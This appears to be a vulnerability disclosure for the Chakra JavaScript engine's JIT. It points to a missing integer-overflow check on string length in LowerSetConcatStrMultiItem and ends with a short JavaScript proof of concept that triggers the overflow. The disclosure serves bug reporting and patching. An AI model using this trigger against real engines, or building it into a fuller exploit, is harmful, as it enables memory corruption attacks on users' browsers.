/*
The method "Lowerer::LowerSetConcatStrMultiItem" is used to generate machine code to concatenate strings.
Here's a snippet of the method.
void Lowerer::LowerSetConcatStrMultiItem(IR::Instr * instr)
{
    ...
    IR::IndirOpnd * dstLength = IR::IndirOpnd::New(concatStrOpnd, Js::ConcatStringMulti::GetOffsetOfcharLength(), TyUint32, func);
    ...
    InsertAdd(false, dstLength, dstLength, srcLength, instr); <<------ (a)
    ...
}

At (a), there's no check for integer overflow.

Note: Chakra uses string chains to handle concatenated strings(the ConcatString class). So it doesn't require much memory to trigger the bug.

PoC:
*/

let a = '';
let b = 'A'.repeat(0x10000);
for (let i = 0; i < 0x10000; i++) {
    a = 'BBBBBBBBB' + a + b;
}

print(a.length);
print(b.length);
print(a[0]);